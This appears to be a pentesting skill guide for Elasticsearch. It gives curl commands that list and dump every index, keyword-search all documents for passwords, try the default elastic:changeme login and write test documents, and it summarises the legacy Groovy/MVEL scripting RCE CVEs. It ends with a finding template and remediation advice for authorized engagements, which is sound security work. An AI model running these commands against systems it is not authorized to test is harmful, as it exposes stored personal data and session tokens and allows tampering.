Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements.
Instrucciones de origen · Vista previa de solo lectura
name
pentesting-elasticsearch
description
Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements.
Authentication disabled (default) → full index dump — the #1 miss. Without X-Pack security, every index and document is world-readable.
How to CONFIRM: curl http://<IP>:9200/ returns the banner and curl http://<IP>:9200/_cat/indices?v lists indices. The _xpack/security/user 500 error confirms security is off.
How to CONFIRM: curl http://elastic:changeme@<IP>:9200/ returns data; brute force via any HTTP-basic tool.
Write access to indices — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
How to CONFIRM: curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}' succeeds and the new index appears in _cat/indices.
Dynamic scripting RCE (legacy clusters) — old versions allow server-side script execution leading to RCE:
CVE-2014-3120 — MVEL dynamic scripting enabled by default in ES < 1.2 (_search with a script field → code exec).
CVE-2015-1427 — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (script_fields Groovy payload → OS command exec).
How to CONFIRM: a crafted _search with a Groovy/MVEL script returns the output of java.lang.Runtime.getRuntime().exec(...); Metasploit script_mvel_rce / script_jvm_rce confirm.
Step 3: Exploit / Extract (dump indices + scripting RCE)
# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
-d '{"bookId":"A00-3","author":"x","name":"test"}'
Linked frontend, frequent pivot for visualization-layer attacks.
Common Scenarios
Scenario 1: Open cluster → mass data dump
curl http://<IP>:9200/_cat/indices?v lists customers, logs-* indices. _search?size=9999 exfiltrates every document, including plaintext PII and access logs with session tokens.
Scenario 2: Default elastic creds
Security is enabled but the elastic superuser still uses changeme. curl -u elastic:changeme http://<IP>:9200/_security/user enumerates all accounts and grants full cluster control.
Scenario 3: Legacy Groovy RCE
An ES 1.4.2 node allows dynamic scripting. A script_fields Groovy payload runs id, returning uid=...elasticsearch, escalating from data access to host command execution.
Output Format
## Elasticsearch Finding
**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
- curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
- curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
- _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
3. Change all default account passwords (elastic, kibana, logstash_system).
4. Disable dynamic scripting on legacy versions and upgrade to a supported release.